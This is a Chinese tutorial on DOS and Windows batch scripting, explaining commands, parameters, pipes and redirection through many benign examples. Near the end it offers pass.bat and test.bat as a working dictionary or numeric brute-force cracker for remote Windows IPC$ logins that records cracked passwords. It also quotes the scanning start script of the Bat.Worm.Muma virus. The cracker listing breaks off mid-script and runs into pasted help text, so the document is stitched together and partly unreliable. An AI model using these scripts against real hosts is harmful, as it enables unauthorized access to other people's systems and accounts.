批处理文件指南
.bat是dos下的批处理文件 .cmd是nt内核命令行环境的另一种批处理文件 从更广义的角度来看,unix的shell脚本以及其它操作系统甚至应用程序中由外壳 进行解释执行的文本,都具有与批处理文件十分相似的作用,而且同样是由专用解 释器以行为单位解释执行,这种文本形式更通用的称谓是脚本语言。所以从某个程 度分析,batch, unix shell, awk, basic, perl 等脚本语言都是一样的,只不过 应用的范围和解释的平台各有不同而已。甚至有些应用程序仍然沿用批处理这一称 呼,而其内容和扩展名与dos的批处理却又完全不同。 首先批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时 候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者 Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。
在这里面常用到的命令有: "echo", 表示显示此命令后的字符 "echo off | on", 表示在此语句后所有运行的命令都被屏蔽或显示命令行本身 "@", 与echo off相象,但它是加在其它命令行的最前面,表示运行时不显 示命令行本身。 "rem"or"::",指定要屏蔽的命令或要包含的注解。 "pause", 暂停批处理程序的执行并显示"Press any key to continue...", 提示用户按任意键继续执行。 "if", 条件语句 "if exist", 存在语句 "goto", 跳转语句 ":", 标号。和goto结合使用 "FOR", 循环语句 "%" , 参数的使用 "call", 调用另一条批处理文件(如果直接调用别的批处理文件 ,执行完 那条文件后将无法执行当前文件后续命令) 注:也可以使用COMMAND /C命令完成同样的操作。 echo命令的另一种用法一:可以用它来显示信息 echo命令的另一种用法二:可以直接编辑文本文件 例如: echo nbtstat -A 192.168.0.1 > a.bat (生成a.bat,并将结果写入a.bat) echo nbtstat -A 192.168.0.2 >> a.bat ( 追加信息到a.bat下一行) echo nbtstat -A 192.168.0.3 >> a.bat 例:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文 件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。
批处理文件的内容为: 文件表示: echo off 不显示命令行 dir c:\*.* >a.txt 将c盘文件列表写入a.txt call c:\ucdos\ucdos.bat 调用ucdos echo 你好 显示"你好" pause 暂停,等待按键继续 rem 使用wps 注释将使用wps cd ucdos 进入ucdos目录 wps 使用wps
批处理文件中还可以像C语言一样使用参数,这只需用到一个参数表示符%。
%表示参数,参数是指在运行批处理文件时在文件名后加的字符串。变量可以从 %0到%9,%0表示文件名本身,字符串用%1到%9顺序表示。(参数之间用空格或TAB分开)
例如,C:根目录下一批处理文件名为f.bat,内容为 format %1 则如果执行C:\>f a: 则实际执行的是format a: 又如 C:根目录下一批处理文件的名为t.bat,内容为 type %1 type %2 那么运行C:\>t a.txt b.txt 将顺序地显示a.txt和b.txt文件的内容
if goto choice for 是批处理文件中比较高级的命令,如果这几个你用得很熟练, 你就是批处理文件的专家啦。
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。(相应的也有else) 有三种格式: if语句一共有3种模式,如下: 1、IF [NOT] string1==string2 command 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号) 如if "%1"=="a" format a:
2、IF [NOT] EXIST filename command 如果有指定的文件,则条件成立,运行命令,否则运行下一句。 如if exist config.sys edit config.sys
3、IF [NOT] ERRORLEVEL number command 如果返回码等于指定的数字(其实是大于等于),则条件成立,运行命令,否则运行下一句。 如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS, 称为错误码errorlevel或称返回码
NOT 指定只有条件为 false 的情况下, Windows XP 才应该执行该命令。 ERRORLEVEL number 如果最后运行的程序返回一个等于或大于指定数字的退出编码,指定条件为 true。 string1==string2 如果指定的文字字符串匹配,指定条件为 true。 EXIST filename 如果指定的文件名存在,指定条件为 true。 command 如果符合条件,指定要执行的命令。如果指定的条件为 FALSE, 命令后可跟一个执行 ELSE关键字后的命令的 ELSE 命令。
goto 批处理文件运行到这里将跳到goto 所指定的标号处, 一般与if配合使用。 如: goto end
:end echo this is the end
标号用 :字符串 表示,标号所在行不被执行
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。 使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1,2,3,4…… 用法:CHOICE:[/C[:]按键表] [/N] [/S] [/T[:]选择值,秒数] [显示文本] 其中,/C表示可选则的按键,/N表示不要显示提示信息,/S表示大小写字符敏感方式, /T表示若在批定的时间内没有选则的话,自动执行/C中定义的某个选择值。 显示文本是CHOICE命令执行时的提示信息。选择结果将用ERRORLEVEL值来表示。
如: choice /c:dme defrag,mem,end 将显示 defrag,mem,end[D,M,E]?
例如,test.bat的内容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag 应先判断数值最高的错误码 if errorlevel 2 goto mem if errotlevel 1 goto end
:defrag c:\dos\defrag goto end
:mem mem goto end
:end echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e , 然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段, e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处, 然后程序将显示good bye,文件结束。
for 循环命令,只要条件符合,它将多次执行同一命令。 格式FOR [%%f] in (集合) DO [命令] 只要参数f在指定的集合内,则条件成立,执行命令
如果一条批处理文件中有一行: for %%c in (*.bat *.txt) do type %%c 含义是如果是以bat或txt结尾的文件,则显示文件的内容。
call命令格式: CALL [drive:][path]filename [batch-parameters]
rem命令: 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释). 同时你可以用两个冒号来替代rem.::等同于一个rem.但他们有个区别, 就是用::作注释的话他是不回显的,即使你打echo on强制回显也没有同的. 同时rem可以在config.sys中加注释. 语法: rem[commnet]
autoexec.bat
DOS在启动会自动运行autoexec.bat这条文件,一般我们在里面装载每次必用的程序, 如: path(设置路径)、smartdrv(磁盘加速)、 mouse(鼠标启动)、mscdex(光驱连接)、 doskey(键盘管理)、set(设置环境变量)等。
如果启动盘根目录中没有这个文件,电脑会让用户输入日期和时间。
例如,一个典型的autoexec.bat内容如下:
@echo off 不显示命令行
prompt $p$g 设置提示符前有目录提示
path c:\dos;c:\;c:\windows;c:\ucdos;c:\tools 设置路径
lh c:\dos\doskey.com 加载键盘管理
lh c:\mouse\mouse.com 加载鼠标管理
lh c:\dos\smartdrv.exe 加载磁盘加速管理
lh c:\dos\mscdex /S /D:MSCD000 /M:12 /V 加载CD-ROM驱动
set temp=c:\temp 设置临时目录
下面的A、B、C三个例子,其中mysqlbat是用来调用 mytestscript数据库脚本文件(见D)来做一些数据库处理,同时还从mysql中 导出数据库文件到文本文件的,myHperGroupUtil是在IbmOlayServer 的前端展现 工具Hyper Analyse中,将设计好的视图导出的,MyBat是一个可以说是综合的 批处理文件,根据输入的参数调用前两个批处理文件, 例如输入:MyBat -sql 则自动执行mysqlbat 输入:MyBat -grouputil,则自动执行myHperGroupUtil
A、mysqlbat.bat @echo off rem 打印出你好 echo 你好 rem mysql -u root --password=123 rem 将gb数据库自动导出到D盘下的文件中 cd d:\ mysql -u root --password=123 < "D:\myworkspace\BAT\mytestscript" mysqldump gb -u root --password=123 > gb.sql echo 结束 cd D:\myworkspace\BAT>mysqlbat pause
B、myHperGroupUtil.bat @echo off rem 打印出你好 echo 你好 cd C:\Program Files\Hyperion Analyzer\Applications c: Grouputl /e /u system /p 12345 /o {System} /D d:\ echo 结束 cd D:\myworkspace\BAT>mysqlbat d: pause
C、MyBat.bat @echo off ::如果是sql则直接跳到End if %1==-sql goto sql if %1==-grouputil goto grouputil :wrong param echo 参数不存在 goto End :sql mysqlbat goto end :grouputil myHperGroupUtil goto end rem 结束 :End echo 命令执行完毕
D、mytestscript数据库脚本文件(.sq) ( http://msdn2.microsoft.com/zh-cn/library/ms189277.aspx )有关数据库脚本 use gb; drop table testscript; create table testscript(col1 int not null,col2 varchar(10)); insert into testscript(col1,col2) values(1,"c1"); insert into testscript(col1,col2) values(2,"c2"); select * from testscript into outfile ‘D:/myworkspace/BAT/testscript.txt‘;
下面先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的几行命令保存 为name.bat然后执行(以后文中只给出代码,保存和执行方式类似):
ping sz.tencent.com > a.txt ping sz1.tencent.com >> a.txt ping sz2.tencent.com >> a.txt ping sz3.tencent.com >> a.txt ping sz4.tencent.com >> a.txt ping sz5.tencent.com >> a.txt ping sz6.tencent.com >> a.txt ping sz7.tencent.com >> a.txt exit
执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息 可以帮助你迅速找到速度最快的QQ服务器。 >>的作用和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令 得出的结果将保留,这样可以使这个a.txt文件越来越大。
再给出一个已经过时的例子(a.bat):
@echo off if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif a.bat
为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的QQ了 但曾经它的作用是不可小窥的:删除QQ的广告,让对话框干干净净。这里用的地址是QQ的默认安装地址,默认批处理文件名为a.bat, 你当然可以根据情况自行修改。在这个脚本中使用了if命令,使得它可以达到适时判断和 删除广告图片的效果,你只需要不关闭命令执行后的DOS窗口,不按CTRL+C强行终止命令, 它就一直监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)。当然这个脚本占 用你一点点内存,呵呵。
使用批处理脚本查是否中冰河。脚本内容如下:
@echo off netstat -a -n > a.txt type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!" del a.txt pause & exit
这里利用了netstat命令,检查所有的网络端口状态,只需要你清楚常见木马所使用的端口, 就能很easy的判断出来是否被人种了冰河。然这不是确定的,因为冰河默认的端口7626, 完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动, 就变成可以检查其他木马的脚本了,再改动一下,加进去参数和端口及信息列表文件后, 就变成自动检测所有木马的脚本了。
借批处理自动清除系统垃圾,脚本如下:
@echo off if exist c:\windows\temp\*.* del c:\windows\temp\*.* if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.* if exist c:\windows\History\*.* del c:\windows\History\*.* if exist c:\windows\recent\*.* del c:\windows\recent\*.*
将以上脚本内容保存到autoexec.bat里,每次开机时就把系统垃圾给自动删除了。 这里需要注意两点:一、DOS不支持长文件名,所以就出现了Tempor~1这个东东;
以下是一个很有意思的脚本,一个小巧实用的好东东,把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编程序(MASM)的上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很(只有经历过的朋友才懂得)。如何使这个过程变的简单呢?在我们搞汇编课程设计时,我“被逼”写了这个脚本,用起来很爽,呵呵。看看脚本内容:
@echo off ::close echo cls ::clean screen echo This programme is to make the MASM programme automate ::display info echo Edit by CODERED ::display info echo Mailto me : qqkiller***@sina.com ::display info if "%1"=="" goto usage ::if input without paramater goto usage if "%1"=="/?" goto usage ::if paramater is "/?" goto usage if "%1"=="help" goto usage ::if paramater is "help" goto usage pause ::pause to see usage masm %1.asm ::assemble the .asm code if errorlevel 1 pause & edit %1.asm ::if error pause to see error msg and edit the code link %1.obj & %1 ::else link the .obj file and execute the .exe file :usage ::set usage echo Usage: This BAT file name [asm file name] echo Default BAT file name is START.BAT ::display usage
倒数第5行行首有一个冒号,可不是笔误哦!具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序,必须和edit程序以及你要编辑的源代码一起在当前目录中。 使用这个批处理脚本,可以最大可能的减少手工输入,整个过程中只需要按几下回车键, 即可实现从汇编源代码到可执行exe文件的自动化转换,并具备智能判断功能:如果汇编时源代码出现错误(汇编不成功),则自动暂停显示错误信息,并在按任意键后自动进入编辑源代码界面;如果源代码汇编成功,则进行连接,并在连接后自动执行生成的exe文件。另外,由于批处理命令的简单性和灵活性,这个脚本还具备良好的可改进性,简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友,一定别忘了实习一下!
find 这是一个搜索命令,用来在文件中搜索特定字符串,通常也作为条件判断的铺垫程序 这个命令单独使用的情况在批处理中是比较少见的,因为没什么实际意义。 例如: @echo off netstat -a -n > a.txt type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!" del a.txt pause & exit
先用netstat命令检查是否有冰河默认的端口7626在活动,并把结果保存到a.txt中。 然后使用type命令列出a.txt中的内容,再在列出的内容中搜索字符串“7626” , 发现有的话则提示中了冰河,否则退出。看,find命令其实就这么简单,但有一点必须 要注意到:如果不使用type命令列出a.txt中的内容,而是直接使用find命令在a.txt中找“7626” (find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"), 就必须得给出这个a.txt的绝对路径(我试过了,find并没有默认路径就是当前路径的功能, 必须手动指定。也许是我错了,欢迎指正)。因为在find命令的帮助里有这么一句话: 如果没有指定路径,find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令” 自然就指的type命令了。
例: @echo off for /? > for.txt set /? > set.txt shift /? >shift.txt exit 执行这个脚本后将生成对应的HELP文件
例:(START.BAT)
START.BAT: CALL MUMA.BAT SET IPA=192.168 CALL 10.BAT 0 :NEARAGAIN netstat -n|find ":" >A.TMP FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT :START CALL RANDOM.BAT IF "%NUM1%"=="255" GOTO NEARAGAIN IF "%NUM1%"=="192" GOTO NEARAGAIN IF "%NUM1%"=="127" GOTO NEARAGAIN IF "%NUM2%"=="255" GOTO NEARAGAIN IF "%NUM3%"=="255" GOTO NEARAGAIN IF "%NUM4%"=="255" GOTO NEARAGAIN SET IPA=%NUM1%.%NUM2% ECHO START > A.LOG PING %IPA%.%NUM3%.1>B.TMP PING %IPA%.%NUM3%.%NUM4%>>B.TMP FIND /C /I "from" B.TMP IF ERRORLEVEL 1 GOTO START CALL 10.BAT %NUM3% DEL A.LOG GOTO START 这是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。是不是看的头都大了? 又忘了写在第一章第一段的那句话(静下心来!),你应该能体会到学习这两个命令所需要的耐心了吧。不得不再次重申一遍,各种DOS命令是批处理的BODY(我实在找不出一个更合适的词来形容他们之间的关系),学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令,以及ping、net、cmd、at、sort、attrib、fc、find等外部命令,在批处理里的应用非常广泛。这篇教程的作用,是教你认识批处理,以及如何利用DOS命令组合出来一个完美的批处理脚本,去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的,这已经超出了本文的范畴,在此就不赘述了。
| 这个命令恐怕大家不是很陌生,经常操作DOS的朋友都应该知道,当我们查看一个命令的帮助时,如果帮助信息比较长,一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕,而是直接显示到帮助信息的最后。如在提示符下输入help回车时,就会看到当前DOS版本所支持的所有非隐含命令,但你只能看到最后的那些命令,前面的早就一闪而过了,如何解决这个问题?看例: help | more
回车后会发现显示满一屏幕后就自动暂停,等候继续显示其他信息。当按写回车时,变成一个一个的出现;按下空格键时一屏幕一屏幕显示,直到全部显示完为止;按其他键自动停止返回DOS。
为什么会出现上述现象?答案很简单,这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令,对理解|命令的用法有很大帮助。
help命令。其实这个命令是不需要多说的,但在上述例子中help命令的用法比较特殊,直接在DOS提示符下输入help命令,结果是让DOS显示其所支持的所有非隐含命令,而在其他地方用help命令,如输入net help回车,则是显示net命令的帮助信息。
more命令。可能很多朋友以前就没有接触过这个命令,这个命令在Linux下的用处非常广泛,也是管道命令之一。大家可以找一篇比较长的文章(a.txt)在DOS提示符下输入如下两个命令去比较一下差别:more a.txt和type a.txt。利用more命令,可以达到逐屏或逐行显示输出的效果,而type命令只能一次把输出显示完,最后的结果就是只能看到末尾的部分。在例十三里,more命令的作用就是让输出的信息逐屏或逐行显示。 看到这里,你是否已经能隐约感受到了|命令的作用了?没错,它的作用,就是把前一命令的输出当后一命令的输入来用的。在例十三里,前一命令的输出,就是help命令执行后显示的DOS所支持的所有非隐含命令,而这个结果刚好做了后一命令more的输入。所以下面的两例是等效的: A: B: help > a.txt help | more more a.txt del a.txt
这里利用另一管道命令>生成了一个a.txt文件作为中间环节,在用more命令查看a.txt文件后再删除a.txt文件(例B的所有操作是在内存中进行的,不生成文件)。可以看出,正确使用管道命令|可以带来事半功倍的效果。
|命令的作用,就是让前一命令的输出当做后一命令的输入。
>、>> 这两个命令的效果从本质上来说都是一样的,他们都是输出重定向命令,说的通俗一点,就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是,>会清除掉原有文件中的内容后把新的内容写入原文件,而>>只会另起一行追加新的内容到原文件中,而不会改动其中的原有内容。例: echo @echo off > a.bat echo echo This is a pipeline command example. >> a.bat echo echo It is very easy? >> a.bat echo echo Believe your self! >> a.bat echo pause >> a.bat echo exit >> a.bat
依次在DOS提示符下输入以上各行命令,一行一个回车,将在当前目录下生成一个a.bat文件,里面的内容如下:
@echo off echo This is a pipeline command example. echo It is very easy? echo Believe your self! pause exit
看到这里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本,而不需要专门的文本编辑工具;2、管道命令>和>>的区别如上所述。如果这里只用>命令来完成上面操作,最后也会生成一个a.bat,但里面的内容就只剩下最后一行exit了。所以>和>>一般都联合起来用,除非你重定向的输出只有一行,那么就可以只用>了。
<、>&、<& 这三个命令也是管道命令,但它们一般不常用。 <,输入重定向命令,从文件中读入命令输入,而不是从键盘中读入。 >&,将一个句柄的输出写入到另一个句柄的输入中。 <&,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中。
下面介绍组合命令:&、&&、||
组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了,那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。
& 这可以说是最简单的一个组合命令了,它的作用是用来连接n个DOS命令,并把这些命令按顺序执行,而不管是否有命令执行失败。例: copy a.txt b.txt /y & del a.txt
其实这句和move a.txt b.txt的效果是一样的,只不过前者是分了两步来进行的(在后面还将涉及到具体使用哪种方法的问题)。这个命令很简单,就不多费口舌了,唯一需要注意的一点是,这里&两边的命令是有执行顺序的,从前往后执行。
&& 切记,这里介绍的几个命令都是组合命令,所以他们前后都必须都有其他命令(要不如何组合?)。这个命令也不例外,它可以把它前后两个命令组合起来当一个命令来用,与&命令不同之处在于,它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错,一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例: dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www
如果远程主机存在user.mdb,则copy到本地e:\backup\www,如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢?呵呵。其实它和下面这句的作用是一样的:
if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www
至于你喜欢用哪个就随便了,我没办法判断dir和if两个命令哪一个执行效率更高,所以不知道用哪个更好,呵呵。
把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题?有朋友说,这还不是很easy的问题吗?同时执行两个dir,然后把得到的结果>到a.txt里就ok了嘛,看例: dir c:\ && dir d:\ > a.txt
仔细研究一下这句执行后的结果,看看是否能达到题目的要求!错了!这样执行后a.txt里只有D盘的信息!为什么?就因为这里&&命令和>命令不能同时出现一个句子里(批处理把一行看成一个句子)!!组合命令&&的优先级没有管道命令>的优先级高(自己总结的,不妥的地方请指正)!所以这句在执行时将本分成这两部分:dir c:\和dir d:\ > a.txt,而并不是如你想的这两部分:dir c:\ && dir d:\和> a.txt。要使用组合命令&&达到题目的要求,必须得这么写: dir c:\ > a.txt && dir d:\ >> a.txt 这样,依据优先级高低,DOS将把这句话分成以下两部分:dir c:\ > a.txt和dir d:\ >> a.txt。 当然这里还可以利用&命令(自己想一下道理哦): dir c:\ > a.txt & dir d:\ >> a.txt
|| 这个命令的用法和&&几乎一样,但作用刚好和它相反:利用这种方法在执行多条命令时,当遇到一个执行正确的命令就退出此命令组合,不再继续执行下面的命令。题目:查看当前目录下是否有以s开头的exe文件,如果有则退出。例: @echo off dir s*.exe || exit 其实这个例子是有破绽的,你看出来了吗?其实很简单,自己试试就知道了嘛:如果存在那个exe文件,就退出;如果不存在那个exe文件,也退出!为什么?因为如果不存在那个.exe文件,则前一条命令dir s*.exe执行肯定是不成功的,所以就继续执行exit,自然就退出了,呵呵。那么如何解决题目给出的问题呢?看例: @echo off dir s*.exe || echo Didn‘t exist file s*.exe & pause & exit
这样执行的结果,就能达到题目的要求,是否存在s*.exe将出现两种结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪而过的窗口,echo就白写了。
给出两个更好研究优先级(同时也是更难理解)的脚本,仔细研究它们的区别,以便彻底理解各种命令的优先级顺序,对以后自己利用这些命令写脚本有很大的好处。看例A和例B: 例A: @echo off dir a.ttt /a & dir a.txt || exit
例B: @echo off dir a.ttt /a && dir a.txt || exit
将下列代码存为bat文件 1、如果用字典破解:pass.bat 字典文件路径及名称 主机 用户名 2、如果用数字破解:pass.bat 起始数 步长 结束数 主机 用户名 密码破解出来之后,存放于c:\pass.txt文件里面。 将下列代码存为pass.bat文件 @echo off echo ------------------------------------------------------------------- >>c:\pass.txt echo ------------------------------------------------------------------- >>c:\pass.txt date /t >>c:\pass.txt time /t >>c:\pass.txt echo 破解结果: >>c:\pass.txt if "%6"=="1" goto 大棒槌是我的说2 :大棒槌是我的说1 start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3 goto quit :大棒槌是我的说2 start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5 :quit
将下列代码存为test.bat net use \\%1\ipc$ %2 /user:"%3" goto answer%ERRORLEVEL% rem %ERRORLEVEL%表示取前一命令执行返回结果,net use成功返回0,失败返回2 :answer0 echo 远程主机:"%1" >>c:\pass.txt echo 用 户:"%3" >>c:\pass.txt echo 密 码:%2 >>c:\pass.txt net use \\%1\ipc$ /delet exit :answer2 For 对一组文件中的每个文件运行指定的命令。
可以在批处理程序中或直接从命令提示符使用 for 命令。
要在批处理程序中使用 for 命令,请使用以下语法:
for %%variable in (set) docommand [command-parameters]
要在命令提示符下使用 for,请使用以下语法:
for %variable in (set) do command [command-parameters]
参数
%%variable 或 %variable
代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。
(set)
指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。
command
指定要在指定的 set 所包含的每个文件上执行的命令。
command-parameters
指定要用于指定命令(如果指定的命令要使用任何参数或开关)的任何参数或开关。
如果启用了命令扩展(Windows 2000 中的默认设置),将支持 for 命令的其他形式。 For 命令的其他形式 如果启用了命令扩展,将支持如下 for 命令的其他格式:
只限于目录
for /D [%% | %]variable in (set) docommand [command-parameters]
如果 set 包含通配符(* 和 ?),则指定与目录名匹配,而不是文件名。
递归
for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
进入根目录树[drive:]path,在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录,则假定为当前目录。如果 set 只是一个句号 (.) 字符,则只列举目录树。
迭代
for /L [%% | %]variable in (start,step,end) do command [command-parameters]
集合是一系列按步长量划分的、从头到尾的数字。这样,(1,1,5) 将生成序列 1 2 3 4 5,而 (5,-1,1) 将生成序列 (5 4 3 2 1)。 文件解析
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]
for /F ["options"] [%% | %]variable in (‘command‘) do command [command-parameters]
或者,如果出现 usebackq 选项:
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in (‘literal string‘) do command [command-parameters]
for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]
filenameset 参数指定一个或多个文件名称。在继续到 filenameset 中的下一个文件之前,每个文件都会被打开、读取和处理。
过程由读取文件、分成独立的文本行及然后将每行解析成零个或更多个令牌组成。然后使用设置为找到的一个或多个令牌字符串的变量值(或多个值)集合调用 for 循环体。默认情况下,/F 传递每个文件每一行的第一个空白分隔符号。
跳过空行。通过指定可选的“options”参数可以覆盖默认的解析行为。这是一个引用字符串,它包含一个或多个关键字以指定不同的解析选项。关键字是:
关键字 说明 eol=c 指定行尾注释字符(只一个字符) skip=n 指定在文件的开头跳过的行数。 delims=xxx 指定定界符集合。这将替换空格和制表符的默认分隔符集。 tokens=x,y,m-n 指定将令牌从每行传递到每个反复的正文。这将导致分配其他变量名。m-n 格式是一个范围,指定从 mth 到 nth 的令牌。如果在令牌 = 字符串中最后一个字符是星号,则将分配附加的变量,并在解析最后一个令牌后在行上接收剩余的文本。 usebackq 指定将右引号字符串作为命令执行,单引号字符串是文字字符串命令,您可以使用双引号包括 filenameset 中的文件名。
变量替换
此外,已经增强了 for 变量引用的替换修改程序。现在可以使用下列可选的语法(对于任何变量 I):
变量(使用修改程序) 说明 %~I 展开删除了周围的任何引号 (") 的 %I %~fI 将 %I 展开到完全合格的路径名 %~dI 只将 %I 展开到驱动器号 %~pI 只将 %I 展开到路径 %~nI 只将 %I 展开到文件名 %~xI 只将 %I 展开到文件扩展名 %~sI 展开路径以只包含短名称 %~aI 将 %I 展开到文件的文件属性 %~tI 将 %I 展开到文件的日期/时间 %~zI 将 %I 展开到文件大小 %~$PATH:I 搜索 PATH 环境变量所列出的目录,并将 %I 展开开到第一个找到结果的全部合格名称。如果没有定义环境变量名,或搜索后没有找到文件,则此修改程序将扩展为空字符串。
修改程序可以合并以获得复杂的结果:
变量(使用合并的修改程序) 说明 %~dpI 只将 %I 展开到驱动器号和路径 %~nxI 只将 %I 展开到文件名和扩展名 %~fsI 将 %I 展开到只包含短名称的完整路径名 %~dp$PATH:I 在 PATH 环境变量所列出的目录中搜索 %I,并展开到第一个找到结果的驱动器号和路径 %~ftzaI 将 %I 扩展到与 dir 相似的输出行
注意
在上述范例中,%I 和 PATH 可被其他有效值替换。通过有效的 for 变量名终止 %~ 语法。 使用大写变量名(例如 %I)可以使代码更具可读性,并且避免与不区分大小写的修改程序混淆。 Shift 更改批处理文件中可替换参数的位置。
shift
启用命令扩展(Windows 2000 中的默认设置)后,shift 命令支持 /n 开关,该开关通知命令在第 n 个参数处开始更改,n 可以是从 0 到 8 的任何一个值。例如,
SHIFT /2
将 %3 改为 %2,将 %4 改为 %3 等等,而 %0 和 %1 保持不变。
筛选器命令 筛选器命令可以帮助您排序、查看和选择部分命令输出结果。
通过筛选器命令传递信息
筛选器命令可以划分、重排以及提取通过的部分信息操作。Windows 2000 有三个筛选器命令:
more 命令每次显示一屏文件内容或命令输出。 find 命令在文件和命令输出中搜索指定字符。 sort 命令按字母顺序排列文件和命令输出。
要将输入从文件发送到筛选器命令,请使用小于符号 (<)。如果要筛选器命令从其他命令获得输入,请使用管道 (|)。
使用 more 命令来控制屏幕显示
more 命令每次一屏地显示文件的内容或命令输出。例如,下面的 more 命令每次显示一屏 List.txt 文件的内容:
more < list.txt
信息显示一屏后,会出现字“More”。要继续显示下一屏,请按键盘上任意键。要停止命令且不查看详细信息,请按 CTRL+C 键。
如果使用产生多屏输出的命令,more 将十分有用。例如,假设定要查看硬盘的目录树。如果 Windows 2000 不能将目录在一屏内全部显示出来,请使用带管道号 (|) 和 more 命令的 tree 命令,如下例所示:
tree c:\ | more
tree 命令的第一屏输出被显示,后跟词“More”。Windows 2000 暂停,直到用户按键盘上的任意键为止(PAUSE 键除外)。
使用 find 命令搜索文本
find 命令在一个或多个文件中搜索指定文本。Windows 2000 显示每个包含该文本的行。find 命令可以用作筛选器命令或者标准的 Windows 2000 命令。有关将 find 用作标准的 Windows 2000 命令的信息,请单击“相关主题”列表中的 find。
要将 find 当作筛选器命令使用,请包含小于符号 (<) 和搜索的文件名。当输入文件名时,请记住搜索要区分大小写。例如,下面的命令查找文件 Trade.txt 中所有的“Pacific Rim”字符串:
find "Pacific Rim" < trade.txt
要保存 find 命令的输出而不是显示输出,请使用大于号 (>) 和要存储输出的文件名。例如,下面的命令查找文件 Trade.txt 中所有的“Pacific Rim”字符串,并将结果保存在 Nwtrade.txt 文件中:
find "Pacific Rim" < trade.txt > nwtrade.txt
对文本文件排序
sort 命令按字母顺序排列文本文件或命令的输出。例如,可以使用以下命令对 List.txt 文件的内容进行排序,并在屏幕上显示结果:
sort < list.txt
在此范例中,sort 命令对 List.txt 文件的行进行排序并显示结果,但不更改文件。要保存 sort 命令的输出而不是显示输出,请在命令中包含大于号 (>) 和文件名。例如,可以使用以下命令对 List.txt 文件的行按字母顺序排序,并将结果存到 Alphlist.txt 文件中:
sort < list.txt > alphlist.txt
要排序命令的输出,请键入后面带有管道 (|) 和 sort 命令的命令。例如,下面的命令对 find 命令的输出结果进行排序:
find "Jones" maillst.txt | sort
在键入该命令时,Windows 2000 按字母顺序列出在其中出现“Jones”的行。
带重定向符的合并命令
可以将筛选器命令、其他命令和文件名合并以生成自定义命令。例如,可以使用以下命令存储包含“LOG”字符串的文件名:
dir /b | find "LOG" > loglist.txt
Windows 2000 通过 find 过滤器命令发送 dir 命令的输出并将包含字符串“Log”的文件名存储在 Loglist.txt 文件中。将结果存储为文件名列表(如,A.log、Logdat.svd 和 Mylog.bat)。
